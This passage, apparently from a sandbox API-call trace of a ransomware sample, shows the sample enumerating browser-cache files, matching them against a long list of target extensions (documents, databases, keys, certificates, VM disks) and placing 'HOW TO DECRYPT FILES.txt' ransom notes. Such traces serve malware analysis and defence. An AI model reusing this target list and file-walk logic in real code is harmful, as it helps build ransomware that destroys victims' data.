HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.html") returned 0 [0082.838] lstrlenA (lpString="*.html") returned 6 [0082.838] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.htm") returned 0 [0082.838] lstrlenA (lpString="*.htm") returned 5 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.xlsx") returned 0 [0082.839] lstrlenA (lpString="*.xlsx") returned 6 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.xls") returned 0 [0082.839] lstrlenA (lpString="*.xls") returned 5 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mp4") returned 0 [0082.839] lstrlenA (lpString="*.mp4") returned 5 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.ppt") returned 0 [0082.839] lstrlenA (lpString="*.ppt") returned 5 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.pptx") returned 0 [0082.839] lstrlenA (lpString="*.pptx") returned 6 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.doc") returned 0 [0082.839] lstrlenA (lpString="*.doc") returned 5 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.dot") returned 0 [0082.839] lstrlenA (lpString="*.dot") returned 5 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.docx") returned 0 [0082.839] lstrlenA (lpString="*.docx") returned 6 [0082.839] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.7z") returned 0 [0082.839] lstrlenA (lpString="*.7z") returned 4 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.tar") returned 0 [0082.840] lstrlenA (lpString="*.tar") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.bz2") returned 0 [0082.840] lstrlenA (lpString="*.bz2") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.gz") returned 0 [0082.840] lstrlenA (lpString="*.gz") returned 4 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mkv") returned 0 [0082.840] lstrlenA (lpString="*.mkv") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.eml") returned 0 [0082.840] lstrlenA (lpString="*.eml") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.msg") returned 0 [0082.840] lstrlenA (lpString="*.msg") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.edb") returned 0 [0082.840] lstrlenA (lpString="*.edb") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.accdb") returned 0 [0082.840] lstrlenA (lpString="*.accdb") returned 7 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.odb") returned 0 [0082.840] lstrlenA (lpString="*.odb") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.java") returned 0 [0082.840] lstrlenA (lpString="*.java") returned 6 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.asm") returned 0 [0082.840] lstrlenA (lpString="*.asm") returned 5 [0082.840] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.pfx") returned 0 [0082.840] lstrlenA (lpString="*.pfx") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.pem") returned 0 [0082.841] lstrlenA (lpString="*.pem") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.p12") returned 0 [0082.841] lstrlenA (lpString="*.p12") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.gpg") returned 0 [0082.841] lstrlenA (lpString="*.gpg") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.vsd") returned 0 [0082.841] lstrlenA (lpString="*.vsd") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.odg") returned 0 [0082.841] lstrlenA (lpString="*.odg") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.raw") returned 0 [0082.841] lstrlenA (lpString="*.raw") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.nef") returned 0 [0082.841] lstrlenA (lpString="*.nef") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.svg") returned 0 [0082.841] lstrlenA (lpString="*.svg") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.psd") returned 0 [0082.841] lstrlenA (lpString="*.psd") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.vmx") returned 0 [0082.841] lstrlenA (lpString="*.vmx") returned 5 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.vmdk") returned 0 [0082.841] lstrlenA (lpString="*.vmdk") returned 6 [0082.841] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.vdi") returned 0 [0082.842] lstrlenA (lpString="*.vdi") returned 5 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.lay6") returned 0 [0082.842] lstrlenA (lpString="*.lay6") returned 6 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mpeg") returned 0 [0082.842] lstrlenA (lpString="*.mpeg") returned 6 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.djvu") returned 0 [0082.842] lstrlenA (lpString="*.djvu") returned 6 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.tiff") returned 0 [0082.842] lstrlenA (lpString="*.tiff") returned 6 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.backup") returned 0 [0082.842] lstrlenA (lpString="*.backup") returned 8 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.pdf") returned 0 [0082.842] lstrlenA (lpString="*.pdf") returned 5 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.cert") returned 0 [0082.842] lstrlenA (lpString="*.cert") returned 6 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.docm") returned 0 [0082.842] lstrlenA (lpString="*.docm") returned 6 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.xlsm") returned 0 [0082.842] lstrlenA (lpString="*.xlsm") returned 6 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.dwg") returned 0 [0082.842] lstrlenA (lpString="*.dwg") returned 5 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.nd") returned 0 [0082.842] lstrlenA (lpString="*.nd") returned 4 [0082.842] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.tlg") returned 0 [0082.842] lstrlenA (lpString="*.tlg") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.lgb") returned 0 [0082.843] lstrlenA (lpString="*.lgb") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mov") returned 0 [0082.843] lstrlenA (lpString="*.mov") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.xdw") returned 0 [0082.843] lstrlenA (lpString="*.xdw") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.ods") returned 0 [0082.843] lstrlenA (lpString="*.ods") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.wav") returned 0 [0082.843] lstrlenA (lpString="*.wav") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.mp3") returned 0 [0082.843] lstrlenA (lpString="*.mp3") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.aiff") returned 0 [0082.843] lstrlenA (lpString="*.aiff") returned 6 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.flac") returned 0 [0082.843] lstrlenA (lpString="*.flac") returned 6 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.m4a") returned 0 [0082.843] lstrlenA (lpString="*.m4a") returned 5 [0082.843] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]", pszSpec="*.csv") returned 0 [0082.843] lstrlenA (lpString="*.csv") returned 5 [0082.843] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf54e030, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf54e030, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf54e030, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xf1f, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="adfserve[1]", cAlternateFileName="ADFSER~1")) returned 1 [0082.843] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.844] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adfserve[1]") returned 1 [0082.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adfserve[1]") returned 1 [0082.844] lstrcmpiA (lpString1="", lpString2="adfserve[1]") returned -1 [0082.844] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]") returned="adfscript[1]" [0082.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.844] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.844] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.844] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.844] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="adfserve[1]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]" [0082.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.ems") returned 0 [0082.844] lstrlenA (lpString="*.ems") returned 5 [0082.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.db") returned 0 [0082.844] lstrlenA (lpString="*.db") returned 4 [0082.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.dbf") returned 0 [0082.844] lstrlenA (lpString="*.dbf") returned 5 [0082.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.myox") returned 0 [0082.844] lstrlenA (lpString="*.myox") returned 6 [0082.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.myo") returned 0 [0082.844] lstrlenA (lpString="*.myo") returned 5 [0082.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qbw") returned 0 [0082.844] lstrlenA (lpString="*.qbw") returned 5 [0082.844] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qbb") returned 0 [0082.845] lstrlenA (lpString="*.qbb") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qbm") returned 0 [0082.845] lstrlenA (lpString="*.qbm") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qbo") returned 0 [0082.845] lstrlenA (lpString="*.qbo") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qbx") returned 0 [0082.845] lstrlenA (lpString="*.qbx") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qba") returned 0 [0082.845] lstrlenA (lpString="*.qba") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qby") returned 0 [0082.845] lstrlenA (lpString="*.qby") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qbj") returned 0 [0082.845] lstrlenA (lpString="*.qbj") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.ofx") returned 0 [0082.845] lstrlenA (lpString="*.ofx") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.qif") returned 0 [0082.845] lstrlenA (lpString="*.qif") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mye") returned 0 [0082.845] lstrlenA (lpString="*.mye") returned 5 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mbox") returned 0 [0082.845] lstrlenA (lpString="*.mbox") returned 6 [0082.845] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.eml") returned 0 [0082.845] lstrlenA (lpString="*.eml") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.pst") returned 0 [0082.846] lstrlenA (lpString="*.pst") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.ost") returned 0 [0082.846] lstrlenA (lpString="*.ost") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.idx") returned 0 [0082.846] lstrlenA (lpString="*.idx") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.dbx") returned 0 [0082.846] lstrlenA (lpString="*.dbx") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.sql") returned 0 [0082.846] lstrlenA (lpString="*.sql") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mdb") returned 0 [0082.846] lstrlenA (lpString="*.mdb") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.fdb") returned 0 [0082.846] lstrlenA (lpString="*.fdb") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.wab") returned 0 [0082.846] lstrlenA (lpString="*.wab") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 